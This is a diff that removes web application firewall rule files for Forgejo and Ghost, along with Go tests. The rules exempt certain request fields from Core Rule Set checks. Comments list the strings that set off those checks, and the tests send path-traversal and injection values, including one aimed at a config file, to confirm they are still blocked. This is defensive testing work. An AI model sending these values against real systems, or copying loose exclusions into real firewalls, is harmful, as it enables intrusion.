ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
-115
View File
@@ -1,115 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
)
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
// a wiki, of releases and of a job's log, from the fifteenth change, and the
// searches for a name, from the eighth. The search of code at a branch or tag
// is not one of them: there, as on gitea's search of code, q lets these
// attacks through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
"/alice/-/packages",
"/api/v1/packages/alice",
"/alice",
}
// forgejoAttacks are an SQL injection, a path traversal, a script injection
// and a shell command after a ";", as query values.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoAttacks = []string{
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
}
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range forgejoSearches {
for _, attack := range forgejoAttacks {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches of
// the fifteenth change and on those of branches and packages, stay
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named
// wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
-247
View File
@@ -1,247 +0,0 @@
# The sixteenth change: on Ghost's paths, some fields skip the rules that refused
# ordinary Ghost requests there. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
# 930120: search=.htaccess
# 932120: search=powershell
# 932250: search=ls -la
# 932260: search=python3
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900351,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:search,\
ctl:ruleRemoveTargetById=932120;ARGS:search,\
ctl:ruleRemoveTargetById=932250;ARGS:search,\
ctl:ruleRemoveTargetById=932260;ARGS:search"
# url, the address the editor looks up for an embed or a bookmark, skips two
# rules:
# 930120: url=https://github.com/example/site/blob/main/.htaccess
# 932120: url=https://example.com/blog/powershell-tips
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
"id:900352,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields a person types plain text into skip seven rules on the Admin API:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
# title, name and slug of posts, pages, tags, labels, members, newsletters
# and snippets; a post's tags and a member's labels, by name or slug
# custom_excerpt, description, note and sender_name
# meta_title, meta_description, og_title, og_description, twitter_title and
# twitter_description
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900353,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same seven rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
# members.<n>.email, when the admin adds or edits a member under
# /ghost/api/admin/members/
# email, when a member signs up or in at /members/api/
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
"id:900354,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900360,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
# A staff user's email address also skips 930120, 932120 and 932260, which
# refused erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. Each of these fields skips them only on its own path:
# username, signing in at /ghost/api/admin/session/
# setup.<n>.email, creating the first staff user
# password_reset.<n>.email, asking for a password reset
# users.<n>.email, saving a staff user's profile
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
"id:900361,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
"id:900362,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
"id:900363,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900364,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
# 932160: #!/usr/bin/env python3
# 932260: python3 -m venv .venv
# 932370: the same list in the html of a post saved through the API
# 932380: a code block whose second line starts with powershell
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
# 941100, 941160: an HTML card with an iframe
# 941120: onclick= in an HTML card
# 941180: window.onload in a code block
# 941390: console.log(
# 942190: a code block with an SQL query
# These fields hold an article:
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
# same fields mobiledoc, in Ghost's older format, and html, which
# integrations send
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A <script> element (941110) and a javascript: link (941170, 941210) are still
# refused in them.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the rules of plain text above and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A <script> element and a javascript: link are still refused in them.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900357,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
# invitation.<n>.password, accepting an invitation
# password_reset.<n>.newPassword and ne2Password, resetting a password
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
# /ghost/api/admin/users/password/
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
"id:900358,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
-394
View File
@@ -1,394 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"net/http"
"net/url"
"slices"
"strings"
"testing"
)
// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API.
const (
ghostPosts = "/ghost/api/admin/posts/"
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
ghostMembers = "/ghost/api/admin/members/"
ghostSettings = "/ghost/api/admin/settings/"
ghostSession = "/ghost/api/admin/session/"
ghostSetup = "/ghost/api/admin/authentication/setup/"
